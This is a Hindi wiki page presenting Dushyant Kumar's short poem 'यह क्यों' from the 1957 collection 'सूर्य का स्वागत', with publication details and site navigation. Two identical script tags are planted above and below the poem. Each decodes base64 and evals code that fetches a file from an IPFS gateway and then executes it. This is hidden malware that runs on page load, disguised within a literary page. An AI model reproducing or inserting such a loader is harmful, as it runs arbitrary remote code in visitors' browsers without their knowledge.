एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "०"।

यह क्यों -दुष्यंत कुमार  

यह क्यों -दुष्यंत कुमार
कवि दुष्यंत कुमार
मूल शीर्षक सूर्य का स्वागत
प्रकाशक राजकमल प्रकाशन, इलाहाबाद
प्रकाशन तिथि 1957
देश भारत
पृष्ठ: 84
भाषा हिन्दी
शैली छंदमुक्त
विषय कविताएँ
दुष्यंत कुमार की रचनाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हर उभरी नस मलने का अभ्यास
रुक रुककर चलने का अभ्यास
छाया में थमने की आदत
यह क्यों ?

        जब देखो दिल में एक जलन
        उल्टे उल्टे से चाल-चलन
        सिर से पाँवों तक क्षत-विक्षत
        यह क्यों?

जीवन के दर्शन पर दिन-रात
पण्डित विद्वानों जैसी बात
लेकिन मूर्खों जैसी हरकत
यह क्यों ?

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=यह_क्यों_-दुष्यंत_कुमार&oldid=308505" से लिया गया